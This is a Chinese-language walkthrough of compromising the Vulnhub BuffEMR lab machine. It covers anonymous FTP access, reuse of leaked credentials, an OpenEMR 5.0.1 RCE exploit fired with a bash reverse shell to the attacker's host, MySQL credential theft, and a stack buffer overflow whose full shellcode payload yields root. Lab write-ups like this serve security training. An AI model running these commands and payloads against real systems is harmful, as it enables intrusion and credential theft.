前言
由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!
1、靶机ip配置
- Kali IP:192.168.2.103
- 靶机IP:192.168.2.135
靶机ip获取方式如下图
2、渗透目标
- 获取到普通用户家目录下的flag
- 获取到/root/目录下的flag文件
3、渗透概括
- 使用匿名用户登录ftp
- ftp目录文件批量下载
- web账户密码查找
- 通过网站信息和版本来使用对应的RCE exp
- 数据库信息获取
- 缓冲区溢出提权
开始实战
一、信息获取
使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP
如下所示
可以看到,开放的端口就两个21/ftp 22/ssh 80/http
21/ftp
服务是vsftpd3.0.3
,可以尝试使用ftp匿名用户登陆一下,看看有没有什么有用的信息
22/ssh
ssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个
80/http
基本上大部分的漏洞都是存在于web服务上
我们先用匿名用户anonymous
登录一下这个靶机的FTP服务
如下图,进入几个目录,在openememr
目录下面可以看到有很多的.php和.html
文件,可以猜测这可能是某个网站的源码
那么我们这里记录一下,没准后面需要用到
二、批量获取网站源文件
我们用wget
把这个目录的所有文件下载下来,后面没准用的上
wget -nH -m --ftp-user=anonymous --ftp-password=123456 ftp://192.168.2.135/share/openemr
我们再访问一下这个靶机的web服务
发现是一个Apache2
的欢迎页面,并没有什么有用的信息
那么这里,我们可以结合一下我们上面在这个靶机ftp
服务上获取的信息
我们在这个ftp服务中发现了一个目录openemr
,并且发现这个目录里面有很多的.php和.html
的文件
那么我们直接在网站访问openemr
目录,如下可以看到跳转到了如下页面,证明了我们的思路没错
三、web账户密码获取
因为直接爆破的话成功性并不大,我们从我们之前在ftp下载的该站点的源码找找看
我们直接用cat * |grep -r "admin:"
命令直接过滤admin
用户,如下图就可以拿到账户密码了Monster123
(因为一般站点的默认用户都是admin)
我们利用获得的账户密码,就可以成功登录到这个网站了
我们点击about
菜单,就可以看到这个网站的版本号是openemr 5.0.1
的了
四、RCE获取shell
我们现在使用searchsploit openemr 5.0.1
来查找一下
发现有一个远程执行的exp45161.py
,那么我们尝试利用一下这个文件
我们把这个文件cp下来
可以看到这个文件已经告诉了我们使用命令了,我们只需稍加修改即可
我们先在kali端用nc -lvvp 5555
监听一下shell
然后如下图,使用这个exp文件(不知道为什么,靶机ip从192.168.2.135变成192.168.2.136了,不过将就一下,后面都按照136来)
python2 45161.py http://192.168.2.136/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/192.168.2.103/5555 0>&1'
如下图可以看到我们的kali已经监听到从靶机反弹过来的shell
可以和下面操作一样升级一下shell,如果觉得麻烦的话就用python3 -c 'import pty;pty.spawn("/bin/bash")'
命令简单升级一下也ok
五、获取新的账户密码
我们ls
一下/home
目录,发现了一个buffemr
的用户文件
直接cd
的话发现没有权限,只能另辟蹊径了
在/var
目录下找到了一个user.zip
的压缩文件,估计里面有密码
我们使用scp命令将这个压缩包传给kali里面去
scp user.zip root@192.168.2.103:/root/share/test/
这个zip文件用john
工具是跑不出来的,小伙伴要是觉得自己的字典强大的话可以试试
百思不得其解之后,主意还是打到了我们刚刚wget
爬下来的网站源文件
因为这是动态网站,那么肯定是要和数据库做交互的,那么我们就可以找找数据库的账户密码配置文件
我们cat index.php
主页文件,发现了一个可能是数据库配置文件的路径
最终在sites/default/sqlconf.php
文件里面找到了数据库的配置文件
那么我们现在登录用获取到的账户密码登录mysql
,跟着下图操作获取key
命令是mysql -u openemruser -popenemruser123456
在上一步我们获取到了一个base64
编码的密钥c2FuM25jcnlwdDNkCg==
,我们直接拿来解压这个user.zip
文件(不需要base64解码)
可以看到解压出了一个user.lst
的文件
我们用cat命令查看这个文件内容,如下图成功获取到了buffemr
用户的密码Iamgr00t
我们利用上一步的密码Iamgr00t
登录buffemr用户,使用su buffemr
命令进行登录
如下图,登陆成功
到buffemr
的家目录里面去,找到第一个flag文件user_flag.txt
六、提权
我们使用find / -perm -u=s 2>/dev/null
命令找一下具有suid权限的命令
最终发现了一个可疑的文件/opt/dontexecute
我们用strings
看一下这个文件里面的字符串内容
如下图有一个strcpy
的字符串,这个是c语言里面的一个字符串拷贝函数,大概率是一个缓冲区溢出了,如果没有对输入的子字符做长度限制的话,那么就会存在缓冲区溢出,从而导致获取到普通用户可以提权到root
我们在GDB模式下运行这个二进制文件gdb -q dontexecute
我们使用如下命令生成一个999位的字符串,用于确定偏移量
我们在GDB环境中输入r 加上我们刚才生成的字符
如下
就会发现程序崩溃了,报了一个偏移量
使用/usr/share/metasploit-framework/tools/exploit/./pattern_offset.rb -q 0x31724130
命令可以计算出偏移量为512
直接构造出payload
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')
如下,在执行程序的时候拼接上我们构造好的payload就可以拿到root
buffemr@buffemr:/opt$
buffemr@buffemr:/opt$ ./dontexecute $(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')
#
#
我们再次使用python3 -c 'import pty;pty.spawn("/bin/bash")'
命令升级shell
我们cd
到root用户的家目录,成功拿到第二个flag文件Root_flag.txt
,至此我们的渗透全部完成